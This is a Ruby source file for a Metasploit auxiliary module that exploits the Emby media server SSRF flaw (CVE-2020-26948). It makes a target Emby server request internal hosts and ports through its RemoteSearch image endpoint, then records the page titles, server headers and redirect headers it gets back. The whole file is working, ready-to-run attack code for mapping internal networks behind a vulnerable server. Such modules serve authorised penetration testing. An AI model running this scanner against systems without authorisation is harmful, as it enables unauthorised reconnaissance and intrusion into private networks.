##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name' => 'Emby SSRF HTTP Scanner',
      'Description' => 'Generates a `GET` request to the provided web servers and executes an SSRF against
                        the targeted EMBY server. Returns the server header, HTML title attribute and
                        location header (if set). This is useful for rapidly identifying web applications
                        on the internal network using the Emby SSRF vulnerability (CVE-2020-26948).',
      'Author' => 'Btnz',
      'License' => MSF_LICENSE,
      'Disclosure Date' => '2020-10-01',
      'Notes' => {
        'Stability' => [],
        'SideEffects' => [],
        'Reliability' => [],
        'RelatedModules' => ['auxiliary/scanner/http/emby_version_ssrf']
      },
      'References' => [
        ['CVE', '2020-26948'],
        ['URL', 'https://github.com/btnz-k/emby_ssrf']
      ]
    )

    deregister_options('VHOST', 'RPORT', 'SNAPLEN', 'SSL')

    register_options(
      [
        OptString.new('TARGETURI', [false, 'The URI of the Emby Server', '/']),
        OptBool.new('STORE_NOTES', [true, 'Store the information in notes.', true]),
        OptBool.new('SHOW_TITLES', [true, 'Show the titles on the console as they are grabbed', true]),
        OptString.new('EMBY_SERVER', [true, 'Emby Web UI IP to use', '']),
        OptInt.new('EMBY_PORT', [true, 'Web UI port for Emby Server', '8096']),
        OptString.new('PORTS', [true, 'Ports to scan', '80,8080,8081,8888'])
      ]
    )
  end

  def run_host(target_host)
    # Do some checking to ensure data is submitted
    # Also converts ports string to list
    dports = Rex::Socket.portspec_crack(datastore['PORTS'])
    raise Msf::OptionValidateError, ['PORTS'] if dports.empty?

    # loop through the ports
    dports.each do |p|
      vprint_status("Attempting SSRF with target #{target_host}:#{p}")
      uri = "/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://#{target_host}:#{p}"
      # not using send_request_cgi due to difference between RHOSTS and EMBY_SERVER
      res = Net::HTTP.get_response(datastore['EMBY_SERVER'], uri, datastore['EMBY_PORT'])

      # Check for Response
      if res.nil?
        vprint_error("http://#{target_host}:#{p} - No response")
        next
      end

      # Retrieve the headers to capture the Location and Server header
      server_header = res['server']
      location_header = res['location']

      # Check to see if the captured headers are populated
      if server_header.nil? && location_header.nil?
        vprint_error("#{target_host}:#{p} No HTTP headers")
      end

      # If the body is blank, just stop now as there is no chance of a title
      vprint_error("#{target_host}:#{p} No webpage body") if res.body.nil?

      # Very basic, just match the first title tag we come to. If the match fails,
      # there is no chance that we will have a title
      rx = %r{<title>[\n\t\s]*(?<title>.+?)[\s\n\t]*</title>}im.match(res.body.to_s)
      unless rx
        vprint_error("#{target_host}:#{p} No webpage title")
        next
      end

      # Last bit of logic to capture the title
      rx[:title].strip!
      if rx[:title].empty?
        vprint_error("#{target_host}:#{p} No webpage title")
        next
      end

      rx_title = Rex::Text.html_decode(rx[:title])
      if datastore['SHOW_TITLES']
        print_good("#{target_host}:#{p} Title: #{rx_title}")
        print_good("#{target_host}:#{p}     HTTP Code: #{res.code}")
        print_good("#{target_host}:#{p}     Location Header: #{location_header}")
        print_good("#{target_host}:#{p}     Server Header: #{server_header}")
      end
      if datastore['STORE_NOTES']
        notedata = { code: res.code, port: p, server: server_header, title: rx_title, redirect: location_header }
        report_note(host: target_host, port: p, type: 'http.title', data: notedata, update: :unique_data)
      end
    end
  end
end
